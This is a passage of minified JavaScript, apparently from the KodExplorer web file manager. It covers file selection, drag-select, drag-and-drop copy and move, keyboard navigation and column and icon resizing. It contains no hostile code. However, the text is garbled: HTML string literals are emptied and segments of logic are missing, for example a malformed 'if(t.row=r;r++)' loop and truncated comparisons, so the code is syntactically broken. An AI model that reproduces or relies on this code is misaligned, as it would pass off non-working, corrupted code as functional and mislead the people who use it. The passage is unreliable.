        \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),a=function(){var e;e="split"!=G.userConfig.listType?$(".bodymain .file-continer .file"):$(".bodymain .file-continer .split-select .file"),t=e,f("clear"),Hook.trigger("explorer.fileSelect.init",this)},i=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menu-file"),Hook.trigger("explorer.fileSelect.change",this)},n=function(){if(G.jsonData&&G.jsonData.fileList){var e=G.jsonData.fileList.length+G.jsonData.folderList.length;$(".file-select-info .item-num").html(e+LNG.folder_info_item)}},o=function(){var t="",a=0,i=e;0!=i.length&&(t=i.length+LNG.folder_info_item_select,i.each(function(){a+=parseInt($(this).attr("data-size"))}),0!=a&&(t=t+" ("+pathTools.fileSize(a)+")")),$(".file-select-info .item-select").html(t)},s=function(t){var a=e;if(void 0==t&&a&&a.length>=1&&(t=$(a[a.length-1])),void 0!=t&&!t.inScreen()){var i=$(".bodymain");"split"==G.userConfig.listType&&(i=t.parent());var n=t.offset().top-i.offset().top-i.height()/2+i.scrollTop();i.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.jsonData.info)switch(G.jsonData.info.pathType){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menu-fav-path").addClass("menu-fav-path-more"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.thisPath,"/").search("/"))return e.removeClass("menu-share-path").addClass("menu-share-path-more"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menu-group-root").addClass("menu-group-root-more"),void 0;default:}e.removeClass("menu-file menu-folder").addClass("menu-more"),f()},d=function(e){var t={"file-box":"menu-file","folder-box":"menu-folder","menu-recycle-path":"menu-recycle-path","menu-share-path-more":"menu-share-path","menu-fav-path-more":"menu-fav-path","menu-group-root-more":"menu-group-root","menu-default":"menu-default"};e.removeClass("menu-more");for(var a in t)e.hasClass(a)&&e.addClass(t[a]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(h($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),Hook.trigger("explorer.fileSelect.change",this)}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:a,name:r,path:h,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:i,setInView:s,listNumberSet:n,selectNumSet:o,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e,t=!1,a=!1,i=!1,n=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(e){var t=$(e.target);t.hasClass("item-menu")||t.parent().hasClass("item-menu")||t.hasClass("item-select")||t.parent().hasClass("item-select")||t.parents(".children-more").exists()||($(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select()))}),$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){a&&r(!0,$(this)),t||a||$(this).addClass(Config.HoverClassName),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),$.contextMenu.hidden(),$(e.target).parents(".children-more").exists())return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if($(e.target).hasClass("item-menu")||$(e.target).parent().hasClass("item-menu"))return $(this).hasClass(Config.SelectClassName)?void 0:(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0);if(!$(e.target).hasClass("item-select")&&!$(e.target).parent().hasClass("item-select")){if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=k.fileListAll($(this)),a=k.fileListSelect($(this)),n=t.index($(this));if(0==a.length)T(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?T(n,s,t):n>s?T(o,n,t):T(o,n,t)}}return!0}}).unbind("mouseup").bind("mouseup",function(){return $(".file-select-drag-temp").removeClass("file-select-drag-temp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),a&&r(!1,$(this))}).die("click").live("click",function(e){if(stopPP(e),a)return!1;if($(e.target).hasClass("item-menu")||$(e.target).parent().hasClass("item-menu")){var t=$(this).find(".item-menu");return $(this).contextMenu({x:t.offset().left+t.width(),y:t.offset().top}),!0}return $(e.target).hasClass("item-select")||$(e.target).parent().hasClass("item-select")?($(this).toggleClass(Config.SelectClassName),ui.fileLight.select(),!0):0!=$(this).find(".textarea").length?!0:0!=$(".file-draging-box").length?!0:(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),u($(this))),void 0)}),$(Config.FileBoxClass).myDbclick(function(e){var t=$(e.target);if(t.is("textarea")||t.is("input")||t.hasClass("children-more")||t.hasClass("children-more-cert")||t.hasClass("item-menu")||t.parent().hasClass("item-menu")||t.hasClass("item-select")||t.parent().hasClass("item-select"))return!0;if(t.hasClass("db-click-rename")){var a=t.parents(".file");return a.hasClass("systemBox"),ui.path.rname(),!0}if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return!0;if("split"==G.userConfig.listType&&p($(this))){var i=ui.fileLight.path($(this));return G.thisPath="",$(".file-list-split .split-box").remove(),ui.path.list(i),!0}ui.path.open()}}),l(),c(),d()},o=1e3,s=function(e){$(".file-select-drag-temp").flash(2,100),setTimeout(function(){if("list"==G.userConfig.listType){if($(".file-select-drag-temp .children-more-cert").hasClass("cert-open"))return;ui.fileContent.pathChildrenTree(e)}else if("split"==G.userConfig.listType)u(e);else if("icon"==G.userConfig.listType){var t=ui.fileLight.path(e);ui.path.list(t)}},300)},r=function(t,a){var i="file-select-drag-temp";t?!a.hasClass(Config.TypeFolderClass)&&!a.hasClass("menu-recycle-button")||a.hasClass(Config.SelectClassName)||($("."+i).removeClass(i),a.addClass(i),$(".children-list-dropover").removeClass("children-list-dropover"),$(".file-select-over-temp").removeClass("file-select-over-temp"),e=setTimeout(function(){s(a)},o)):(a.removeClass(i),clearTimeout(e),e=!1)},l=function(){var e;$("#folder-list-tree a").die("mouseenter").live("mouseenter",function(){if(a){($(this).hasClass("menu-tree-folder")||$(this).hasClass("menu-tree-folder-fav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),i=t.getNodeByTId($(this).parent().attr("id"));!i.open&&i.isParent&&(e=setTimeout(function(){t.expandNode(i,!0)},o))}}).die("mouseup").live("mouseup",function(){if(a){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),i=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){i.isParent=!0,t.reAsyncChildNodes(i,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){a&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},c=function(){var e;$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){a&&($(this).addClass("curDropToPath"),e=setTimeout(function(){var e=$(".curDropToPath");e.flash(2,100),setTimeout(function(){ui.path.list(e.attr("data-path"))},300)},o))}).die("mouseup mouseleave").live("mouseup mouseleave",function(){a&&($(this).removeClass("curDropToPath"),clearTimeout(e),e=!1)})},d=function(){var e=function(e,t){if(a&&"list"==G.userConfig.listType){$(".file-select-over-temp").removeClass("file-select-over-temp");var i="children-list-dropover";if(t){if($(".file-select-drag-temp").exists())return $("."+i).removeClass(i),void 0; -$("."+i).not(e).removeClass(i),e.addClass(i),e.prev().hasClass("file")&&e.prev().addClass("file-select-over-temp")}else e.removeClass(i)}};$(".menu-body-main").bind("mouseover",function(t){e($(this),!0,t)}).bind("mouseup mouseleave",function(t){e($(this),!1,t)}),$(".children-list").die("mouseover").live("mouseover",function(t){e($(this),!0,t),stopPP(t)}).die("mouseup mouseleave").live("mouseup mouseleave",function(t){e($(this),!1,t)})},p=function(e){return"icon"==G.userConfig.listType?e.hasClass("folder-box")||e.hasClass("menu-recycle-button")?!0:!1:"list"==G.userConfig.listType?e.hasClass("folder-box")||e.hasClass("menu-recycle-button")||0!=e.find(".children-more-cert").length?!0:!1:"split"==G.userConfig.listType?e.hasClass("folder-box")||e.hasClass("menu-recycle-button")||0!=e.find(".children-more-cert").length?!0:!1:void 0},u=function(e){if("split"==G.userConfig.listType&&p(e)){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){h(t)})}},f=function(){var e=".file-list-split .split-box",t="split-hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){h(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children-open").length)&&h(ui.fileLight.path($(this)))})},h=function(e){var t=$(".file-list-split .split-box"),a=$('.file-list-split .split-box[data-path="'+pathHashEncode(e)+'"]'),i=$('.file-list-split .split-box .file[data-path="'+pathHashEncode(e)+'"]'),n="split-select";0==a.length&&(a=t.last()),t.removeClass(n),a.addClass(n),0==ui.fileLight.fileListSelect().length&&i.addClass("select"),ui.fileLight.select();var o=a.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.thisPath=e,G.jsonData=o,ui.headerAddress.addressSet()),ui.fileLight.init()},m=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},v=function(e){$("body").removeClass("cursor-mouse cursor-warning cursor-move cursor-down cursor-add"),e&&$("body").addClass("cursor-mouse cursor-"+e)},g=function(){var i,n,o,s=150,r=!1,l=!1,c=0,d=!1,p=-15,u=10,f=0,h=0,g="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(e){if(!e.shiftKey){if(ui.isEdit())return!0;if(1!=e.which||t)return!0;i=$(this),k(e),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){x(e)}),$(document).keydown(function(e){x(e)}),$(document).keyup(function(e){x(e)}),$(document).one("mouseup",function(e){C(e),this.releaseCapture&&this.releaseCapture()}),$(document).one("keyup",function(e){27==e.which&&C(!1)})}});var b,y,k=function(e){$.contextMenu.hidden(),a=!0,c=$.now(),f=e.pageY,h=e.pageX,n=$(document).height(),o=$(document).width(),l=$(e.target).parents(".file")},x=function(e){if(!a)return!0;if(!m(i))return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-c>s&&!d&&(L(),r=$(".draggable-dragging"),r.attr("data-beforeInfo",r.find("span").html())),d){var t=e.clientX>=o-50?o-50:e.clientX,l=e.clientY>=n-50?n-50:e.clientY;return t=0>=t?0:t,l=0>=l?0:l,t-=p,l-=u,r.css({left:t,top:l}),w(e),I(t-h+p,l-f+u),!0}},w=function(e){clearTimeout(b),b=!1,b=setTimeout(function(){try{N(e)}catch(t){}},10)},N=function(e){var t=e.ctrlKey||e.metaKey,a=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var a=htmlEncode(core.pathThis(t)),i=" "+r.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copyTo:''+LNG.copy_to+'"'+a+'"',moveTo:''+LNG.cute_to+'"'+a+'"',remove:''+LNG.remove+i+"",share:''+LNG.share+i+"",none:''+LNG.no_permission_write+"",clear:r.attr("data-beforeInfo")};S(t)||(n.copyTo=''+LNG.clone+""),r.find("span").html(n[e]),r.attr("data-actionType",e),r.attr("data-actionPath",t),r.attr("id","drag-action-"+e);var n={copyTo:"add",moveTo:"move",remove:"move",share:"add",none:"default",clear:"default"};v(n[e])},i=G.thisPath,n="";if($(".curDropToPath").exists())i=$(".curDropToPath").attr("data-path");else if($(".curDropTreeNode").exists()){var o=$(".curDropTreeNode").parent().attr("id"),s=ui.tree.zTree().getNodeByTId(o);i=s.path}else if($(".file-select-drag-temp").exists())i=ui.fileLight.path($(".file-select-drag-temp")),$(".file-select-drag-temp").hasClass("menu-recycle-button")&&(n="remove");else if($(".children-list-dropover").exists()){var l=$(".children-list-dropover");i=l.hasClass("children-list")?pathHashDecode(l.attr("data-path-children")):G.thisPath}else $(".split-hover").exists()?i=ui.fileLight.path($(".split-hover")):n=$(".recycle-hover").exists()?"remove":$(".share-hover").exists()&&1==ui.fileLight.fileListSelect().length?"share":"clear";n&&!t||(n=t?"copyTo":S(i)?"moveTo":"clear"),a(n,i)},C=function(t){if(!a)return!1;if(clearTimeout(b),clearTimeout(e),a=!1,d=!1,$("body").removeClass(g),r){r.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){r.remove(),r=!1}),$(".curDropToPath,.curDropTreeNode,.curDropTreeNode,.file-select-drag-temp,.children-list-dropover").removeClass("curDropToPath curDropTreeNode curDropTreeNode file-select-drag-temp children-list-dropover");var i=r.attr("data-actionType");if(-1!=$.inArray(i,["copyTo","moveTo","remove","share"])?O(!1):O(!0),v(!1),t){var n=function(e,t){switch(ShareData.data("FILE_SELECT_ARRAY",_),e){case"copyTo":ui.path.copyDrag(t,!0);break;case"moveTo":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},o=r.attr("data-actionPath");n(i,o)}}},L=function(){$("body").addClass(g);var e=ui.fileLight.fileListSelect().length;$('
        '+e+'
        '+e+" "+LNG.file+"
        ").appendTo("body"),d=!0,setTimeout(z,20),T()},_=[],T=function(){_=[],ui.fileLight.fileListSelect().each(function(){_.push({path:ui.fileLight.path($(this)),type:"folder"==ui.fileLight.type($(this))?"folder":"file"})})},S=function(e){for(var t=0;_.length>t;t++)if(core.pathFather(_[t].path)!=e)return!0;return!1},A=0,D=5,E=35,j=20,P=50,z=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"file-list-icon",list:"file-list-list",split:"file-list-split"},t=e[G.userConfig.listType];$("
        ").appendTo("body"),y=$(Config.SelectClass).filter("[data-path!='']");var a=y.clone();(y.length>=P||$.browser.msie)&&(a=l.clone()),a.appendTo(".file-draging"),a.each(function(e){var t=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']"),i=t.offset();$(this).css({left:i.left,top:i.top,width:t.width()}),$(this).data({"data-left":i.left,"data-top":i.top,"data-animateTime":200+e*D,"data-sizeAdd":A*e}),$(this).attr("data-path")==l.attr("data-path")&&$(this).addClass("handle_target"),1==a.length&&($(this).data({"data-animateTime":0}),j=0)}),y.addClass("item-file-draging");var i=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");a.each(function(){var t=$(this),a=$(this).data("data-sizeAdd"),i=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:i,easing:"swing",progress:function(i,n){var o=t.offset(),s=e.offset(),r=(s.left+a-o.left)*n,l=(s.top+a+E-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},j);$(".file-draging-box").data("dragDelay",i),$(".file-draging-box").data("animate","ready")},I=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+E})}}),void 0)},O=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var a=t*D,i=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+a,function(){y.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(i.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+a,function(){$(this).remove()}))});var a=setTimeout(function(){$(".file-draging-box").remove()},400+D*t);$(".file-draging-box").data("removeDelay",a)}},b=function(){var e=null,i=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";core.isApp("desktop")&&(d="file-continer");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".file-continer").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||a)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,v(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(a){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"split"==G.userConfig.listType&&(o+=$(a.target).parents(".split-box").scrollTop()),$(a.target).parent().hasClass(Config.FileBoxClassName)||$(a.target).parent().parent().hasClass(Config.FileBoxClassName)||$(a.target).hasClass("fix")||($.contextMenu.hidden(),a.ctrlKey||a.metaKey||a.shiftKey||ui.fileLight.clear(),$(a.target).hasClass("ico")||(e=a.pageX-s,i=a.pageY-o,c=setTimeout(function(){t=!0,0==$(".select-container").length&&$('
        ').appendTo(Config.FileBoxSelector),n=$(".select-container")},100)))},f=function(a){if(!t)return!0;var o=a.pageX-p.offset().left+p.scrollLeft(),s=a.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-e),d=Math.abs(s-i);s>i&&d>r-i&&r>l&&(d=r-i),h(s,i,d,p),n.css({left:Math.min(o,e)+2,top:Math.min(s,i)+2,width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&m()},h=function(e,t,a,i){var n=i.outerHeight(),o=i.scrollTop(),s=o;if(e>t){var r=t+a,l=n+o,c=r-l;c>0?s+=c:-n>c&&(s+=n-Math.abs(c))}else if(t>e){var d=t-a,p=o,c=d-p;0>c?s+=c:c>n&&(s+=Math.abs(c)-n)}s!==o&&i.stop(!0,!1).animate({scrollTop:s},100)},m=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),a=e+n.width(),i=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("split"==G.userConfig.listType&&(d+=l.parents(".split-box")[0].offsetLeft,f=d+l.width()),a-e+f-d>Math.abs(e+a-(d+f))&&i-t+h-u>Math.abs(t+i-(u+h))){if(!l.hasClass("file-select-drag-temp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("file-select-drag-temp")}}else l.removeClass("file-select-drag-temp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},v=function(){return t?(m(),n.remove(),$(".file-select-drag-temp").addClass(Config.SelectClassName).removeClass("file-select-drag-temp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),t=!1,e=null,i=null,void 0):!1}},y=function(e,t){var a=$(".file-list-split .split-box.split-select");if(e)a=e.parents(".split-box");else if(0!=ui.fileLight.fileListSelect().length){var i=ui.fileLight.fileListSelect().last();a=i.parents(".split-box")}return a.find(t)},k={fileListAll:function(e){return"split"!=G.userConfig.listType?ui.fileLight.fileListAll():y(e,".file")},fileListSelect:function(e){return"split"!=G.userConfig.listType?ui.fileLight.fileListSelect():y(e,".file.select")}},x=function(e){var t=k.fileListAll(),a=k.fileListSelect(),i=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(a.first()),r=t.index(a.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=i||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=i?i:r+o;break;default:}return t.eq(n)},w=function(e){if(core.isApp("desktop"))return x(e);var t=k.fileListAll(),a=k.fileListSelect(),i=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(a.first()),l=t.index(a.last());switch(e){case"up":n=0>=r-o?0:r-o,n=N(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=i?i:l+o,n=N(n,!0);break;case"right":n=l>=i?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=N(n,!1);break;case"pagedown":n=l+s>=i?i:l+s,n=N(n,!0);break;default:}return t.eq(n)},N=function(e,t){for(var a=k.fileListAll(),i=a.eq(e),n=a.length;0!=i.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;i=a.eq(e)}return e},C=function(e){var t,a=k.fileListAll(),i=k.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=i.last(),t=a.first();break;case"end":n=i.first(),t=a.last();break;case"left":n=i.last(),t=w(e);break;case"up":n=i.last(),t=w(e);break;case"right":n=i.first(),t=w(e);break;case"down":n=i.first(),t=w(e);break;case"pageup":n=i.last(),t=w(e);break;case"pagedown":n=i.first(),t=w(e);break;case"clear":return ui.fileLight.clear(),void 0;case"reverse":return a.each(function(){$(this).toggleClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0;case"all":t=a;break;default:}if(!_(e)){if(o&&""!=n){var s=a.index(n),r=a.index(t);if(s>r){var l=s;s=r,r=l}return T(s,r,a),void 0}L(t)}},L=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"split"==G.userConfig.listType&&1==e.length&&u($(ui.fileLight.fileListSelect()[0])))},_=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.userConfig.listType)return!1;switch(e){case"left":if("list"==G.userConfig.listType)if(1==t.find(".children-more-cert.cert-open").length)t.find(".children-more-cert").removeClass("cert-open"),t.next().addClass("hidden");else{var a=t.parent(".children-list").prev(".file");L(a)}else if("split"==G.userConfig.listType){var a=t.parents(".split-box").prev().find(".select-split-parent");L(a)}break;case"right":if("list"==G.userConfig.listType)1==t.find(".children-more-cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children-more-cert").addClass("cert-open"),t.next().removeClass("hidden"));else if("split"==G.userConfig.listType){var a=t.parents(".split-box").next().find(".file:eq(0)");L(a)}break;default:return!1}return!0},T=function(e,t,a){if(core.isApp("desktop"))return S(e,t,a);ui.fileLight.clear();for(var i=e;t>=i;i++)$(a[i]).addClass(Config.SelectClassName);ui.fileLight.select()},S=function(e,t,a){var i=ui.getColfileNumberDesktop(),n=Math.ceil(k.fileListAll().length/i),e={row:e%i,col:parseInt(e/i)},t={row:t%i,col:parseInt(t/i)};if(t.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){n(),f(),g(),b()},isDraging:function(){return a},selectSplit:h,selectPos:C}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorerTreeWidth:199,editorTreeWidth:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorerTreeWidth:2,editorTreeWidth:2},a=e,i=function(){if(LocalData.get("resizeConfig"))a=jsonDecode(LocalData.get("resizeConfig"));else{G.userConfig.resizeConfig!==void 0&&(a=jsonDecode(htmlDecode(G.userConfig.resizeConfig)));var i=jsonEncode(a);LocalData.set("resizeConfig",i)}$.each(e,function(i){(!a[i]||a[i]=a&&(a=t[e]),n+=a,i+=".children-list,.file-list-list .file ."+e+",#main-title ."+e+"{width:"+a+"px;}")}),i+=".children-list,.file-list-list .file{width:"+(n+50)+"px;}",$.setStyle(i,"header-resize-width")}},s=function(i,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"TreeWidth",l=$.extend(!0,{},a);l[r]+=i,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(a=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,i,s){var r=$.extend(!0,{},a);r[e]+=i,o(r),s&&(a=r,$.each(a,function(e,i){t[e]>=i&&(a[e]=t[e])}),n())},c=function(){$("#main-title").hasClass("bind-init")||(o(a),$("#main-title").addClass("bind-init"),$.each(e,function(e){$("#main-title ."+e+"-resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resize-mask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resize-mask").css("display","none")}})},p=function(){var e="fileIconSize";core.isApp("desktop")&&(e="fileIconSizeDesktop");var t=G.userConfig[e];t||(t="75"),h(t,!1),u(t)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["100","box-size-big"],["120","box-size-bigx"]],a=10,i="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-a&&o+a>=e){i=t[n][1];break}}""!=i&&$("."+i).addClass("selected")},f=function(e){var t="fileIconSize";core.isApp("desktop")&&(t="fileIconSizeDesktop"),G.userConfig[t]=e,u(e),$.get(G.appHost+"setting/set&k="+t+"&v="+e)},h=function(e,t){var a=e,i=105,n=30,o=250;core.isApp("desktop")&&(n=40,o=150),a=n>=a?n:a,a=a>=o?o:a;var s=(e-n)*i/(o-n),r=20,l=10,c=parseInt(a),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".file-list-icon div.file,.file-list-icon .flex-empty{height:"+d+"px;width:"+c+"px;}";core.isApp("desktop")&&(d-=5,v="div.file-list-icon div.file,.file-list-icon .flex-empty{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var g="div.file-list-icon div.file{max-height:"+m+"px;}"+v+" .file-list-icon .meta-info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .file-list-icon div.file .filename{width:"+c+"px;} .file-list-icon div.file .filename #pathRenameTextarea, .file-list-icon div.file .filename .newfile{width:"+c+"px;} .file-list-icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .file-list-icon div.file .ico.picture{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;display:block;} ";$.setStyle(g,"file_icon_resize"),$(".slider-handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider-handle");$(".set-icon-size-slider").bind("click",function(e){return stopPP(e),!1});var a=function(t){var a=0,i=105,n=30,o=250,s=e+t;s=a>s?a:s,s=s>i?i:s;var r=parseInt(s/i*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){a(t)},end:function(e,i){t.removeClass("active"),f(a(i),!0)}});var i=$(".slider-bg");$(".slider-bg").unbind("click").bind("click",function(t){var n=t.clientY-i.offset().top;e=0,f(a(n),!0)})},v=function(){var e=function(e,t){var a=e.parent(),i=$(".split-box").index(a),n=parseInt(a.data("before_width"))+t;if(!(150>n)){$($(".split-line").get(i)).css("width",n),a.css("width",n),$(".split-box:gt("+i+")").each(function(){$(this).hasClass("is-drag-split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split-box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("splitBoxSize",jsonEncode(o))}};$(".bodymain .file-list-split .split-drag").drag({start:function(e,t){var a=t.parent();a.addClass("is-drag-split").data("before_width",a.width()),$(".split-box,.split-line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,a,i,n){e(n,t)},end:function(e,t,a,i){i.parent().removeClass("is-drag-split")}},!0),$(".file.select-split-parent").removeClass("select-split-parent"),$(".split-box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select-split-parent")}),g()},g=function(){var e=jsonDecode(LocalData.get("splitBoxSize")),t=0;e||(e=[]);var a=function(a,i){var 